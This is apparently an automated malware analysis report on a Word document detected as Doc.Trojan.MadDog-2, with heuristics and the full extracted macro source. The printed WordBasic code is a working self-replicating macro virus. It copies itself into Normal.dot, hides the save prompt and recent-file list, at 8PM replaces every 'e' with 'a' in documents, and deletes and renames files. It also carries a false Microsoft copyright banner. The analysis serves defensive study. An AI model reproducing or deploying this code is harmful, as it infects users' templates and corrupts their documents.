Doc.Trojan.MadDog-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 5e9e01108c708dd9…

MALICIOUS

Office (OLE)

50.5 KB Created: 1997-10-13 23:06:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 26ba3b4fbb5a43dc4a58c950d487f952 SHA-1: 9afc7d6db7eb46fae04ece0def3a949ff2b200a3 SHA-256: 5e9e01108c708dd9f0f37ffbb92cd15312e38f84f6297815409a339502c3a688
196 Risk Score

Malware Insights

Doc.Trojan.MadDog-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy WordBasic macro virus, specifically identified as 'Doc.Trojan.MadDog-2' by ClamAV. The presence of AutoOpen and AutoClose macros indicates an intent to execute malicious code automatically when the document is opened or closed. The VBA script attempts to copy itself to the Normal.dot template, likely for persistence.

Heuristics 5

  • ClamAV: Doc.Trojan.MadDog-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.MadDog-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    WordBasic.Organizer Copy:=1, Source:=CurrFile$, Destination:=FullPath$, Name:="AutoOpen", Tab:=3
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    WordBasic.Organizer Copy:=1, Source:=FullPath$, Destination:=Rover$, Name:="AutoClose", Tab:=3

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6841 bytes
SHA-256: 194742203da33f68747423d7afe7e8cdcc0b93308a2c57e681e320e1aa7bdcad
Detection
ClamAV: Doc.Trojan.MadDog-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AOpnFinish"

Public Sub MAIN()
Dim UserPath$
Dim FullPath$
Dim CurrFile$
Rem  --------------------------------------------------------
Rem     Microsoft Word for Windows 95 "MadDog" Macro Set
Rem                  v 1.0, March l996
Rem   --------------------------------------------------------
Rem       (c) Copyright Microsoft Corporation, 1995
UserPath$ = WordBasic.[DefaultDir$](2)
FullPath$ = UserPath$ + "\Normal.dot"
CurrFile$ = WordBasic.[FileName$]()
WordBasic.Organizer Copy:=1, Source:=CurrFile$, Destination:=FullPath$, Name:="AutoOpen", Tab:=3
WordBasic.ToolsOptionsSave GlobalDotPrompt:=0, AutoSave:=1, SaveInterval:="10", Password:="", WritePassword:="", RecommendReadOnly:=0
End Sub

Attribute VB_Name = "AutoExec"

Public Sub MAIN()
Rem  --------------------------------------------------------
Rem       Microsoft Word for Windows 95 "MadDog" Macro Set
Rem                  v 1.0, March l996
Rem   --------------------------------------------------------
Rem       (c) Copyright Microsoft Corporation, 1995
End Sub

Attribute VB_Name = "FileClose"

Public Sub MAIN()
Dim UserPath$
Dim WorkingPath$
Dim CurrFile$
Dim FullPath$
Dim Signature$
Dim TestSig$
Dim GetTestPath$
Dim TestPath
Dim Rover$
Dim StoreFile$
Rem  --------------------------------------------------------
Rem      Microsoft Word for Windows 95 "MadDog" Macro Set
Rem                  v 1.0, March l996
Rem   --------------------------------------------------------
Rem       (c) Copyright Microsoft Corporation, 1995
On Error GoTo -1: On Error GoTo BYE

If WordBasic.[FileNameFromWindow$]() = "" Then
GoTo EXIT_
Else
UserPath$ = WordBasic.[DefaultDir$](2)
WorkingPath$ = WordBasic.[DefaultDir$](0)
CurrFile$ = WordBasic.[FileNameFromWindow$]()
FullPath$ = UCase(UserPath$ + "\Normal.dot")
Signature$ = "AOpnFinish"
TestSig$ = UCase(WordBasic.[MacroFileName$](Signature$))
If TestSig$ = UCase(WordBasic.[FileNameFromWindow$]()) Then
GoTo EXIT_
Else
GoTo CONTINUE
End If
EXIT_:
WordBasic.FileClose
GoTo BYE
CONTINUE:
WordBasic.ToolsOptionsGeneral RecentFileCount:="0"
GetTestPath$ = WordBasic.[FileNameInfo$](WordBasic.[FileName$](), 5)
TestPath = Len(WorkingPath$)
If TestPath = 3 Then
GoTo VARSET1
Else
GoTo VARSET2
VARSET1:
FullPath$ = UserPath$ + "\Normal.dot"
Rover$ = WorkingPath$ + "Temp.dot"
StoreFile$ = WorkingPath$ + "Filename.dat"
GoTo CORE
VARSET2:
FullPath$ = UserPath$ + "\Normal.dot"
Rover$ = WorkingPath$ + "\Temp.dot"
StoreFile$ = WorkingPath$ + "\Filename.dat"
CORE:
Open StoreFile$ For Output As 1
Print #1, CurrFile$
Close 1
WordBasic.FileSave
WordBasic.FileSaveAs Name:=Rover$, Format:=1, AddToMru:=0
WordBasic.FileSave
WordBasic.Organizer Copy:=1, Source:=FullPath$, Destination:=Rover$, Name:="AOpnFinish", Tab:=3
WordBasic.Organizer Copy:=1, Source:=FullPath$, Destination:=Rover$, Name:="AutoExec", Tab:=3
WordBasic.Organizer Copy:=1, Source:=FullPath$, Destination:=Rover$, Name:="AutoOpen", Tab:=3
WordBasic.Organizer Copy:=1, Source:=FullPath$, Destination:=Rover$, Name:="AutoClose", Tab:=3
WordBasic.Organizer Copy:=1, Source:=FullPath$, Destination:=Rover$, Name:="FCFinish", Tab:=3
WordBasic.ToolsMacro Name:="FCFinish", Run:=1, Show:=1, Description:="", NewName:=""
Rem "above .show = 1 must be this value."
BYE:
End If
End If
End Sub

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim B$
Dim C$
Dim XChg$
On Error GoTo -1: On Error GoTo BYE
B$ = WordBasic.[Left$](WordBasic.[Time$](), 1)
C$ = WordBasic.[Right$](WordBasic.[Time$](), 2)
XChg$ = B$ + C$
Rem MsgBox(B$ + C$)
If XChg$ = "8PM" Then
GoTo LASTRYTC
Else
End If
GoTo BYE
LASTRYTC:
WordBasic.EditReplace Find:="e", Replace:="a", Direction:=0, MatchCase:=0, WholeWord:=0, PatternMatch:=0, SoundsLike:=0, ReplaceAll:=1, Format:=0, Wrap:=1, FindAllWordForms:=0
WordBasic.FileSave
BYE:
End Sub

Attribute VB_Name = "FCFinish"

Public Sub MAIN()
Dim UserPath$
Dim WorkingPath$
Dim GetTestPath$
Dim TestPath
Dim FullPath$
Dim Rover$
Dim StoreFile$
Dim OldFile$
Rem  --------------------------------------------------------
Rem       Microsoft Word for Windows 95 "MadDog" Macro Set
Rem                  v 1.0, March l996
Rem   --------------------------------------------------------
Rem       (c) Copyright Microsoft Corporation, 1995
On Error GoTo -1: On Error GoTo BYE
UserPath$ = WordBasic.[DefaultDir$](2)
WorkingPath$ = WordBasic.[DefaultDir$](0)
GetTestPath$ = WordBasic.[FileNameInfo$](WordBasic.[FileNameFromWindow$](), 5)
TestPath = Len(WorkingPath$)
If TestPath = 3 Then
GoTo VARSET1
Else
GoTo VARSET2
VARSET1:
FullPath$ = UserPath$ + "\Normal.dot"
Rover$ = WorkingPath$ + "Temp.dot"
StoreFile$ = WorkingPath$ + "Filename.dat"
GoTo CORE
VARSET2:
FullPath$ = UserPath$ + "\Normal.dot"
Rover$ = WorkingPath$ + "\Temp.dot"
StoreFile$ = WorkingPath$ + "\Filename.dat"
CORE:
Open StoreFile$ For Input As 1
Input #1, OldFile$
Close 1
WordBasic.Organizer Copy:=1, Source:=FullPath$, Destination:=Rover$, Name:="FileClose", Tab:=3
WordBasic.FileSave
WordBasic.Kill OldFile$
WordBasic.Kill StoreFile$
WordBasic.FileClose
WordBasic.Rename Rover$, OldFile$
BYE:
End If
End Sub

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim UserPath$
Dim WorkingPath$
Dim FullPath$
Dim Rover$
Dim CurrFile$
Rem  --------------------------------------------------------
Rem       Microsoft Word for Windows 95 "MadDog" Macro Set
Rem                  v 1.0, March l996
Rem   --------------------------------------------------------
Rem       (c) Copyright Microsoft Corporation, 1995
On Error GoTo -1: On Error GoTo BYE:
UserPath$ = WordBasic.[DefaultDir$](2)
WorkingPath$ = WordBasic.[DefaultDir$](0)
FullPath$ = UserPath$ + "\Normal.dot"
Rover$ = UserPath$ + "\Temp.dot"
CurrFile$ = WordBasic.[FileName$]()
WordBasic.Organizer Copy:=1, Source:=CurrFile$, Destination:=FullPath$, Name:="AOpnFinish", Tab:=3
WordBasic.Organizer Copy:=1, Source:=CurrFile$, Destination:=FullPath$, Name:="AutoExec", Tab:=3
WordBasic.Organizer Copy:=1, Source:=CurrFile$, Destination:=FullPath$, Name:="FileClose", Tab:=3
WordBasic.Organizer Copy:=1, Source:=CurrFile$, Destination:=FullPath$, Name:="AutoClose", Tab:=3
WordBasic.Organizer Copy:=1, Source:=CurrFile$, Destination:=FullPath$, Name:="FCFinish", Tab:=3
WordBasic.Organizer Copy:=1, Source:=CurrFile$, Destination:=FullPath$, Name:="AutoOpen", Tab:=3
WordBasic.ToolsMacro Name:="AOpnFinish", Run:=1, Show:=0, Description:="", NewName:=""
BYE:
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.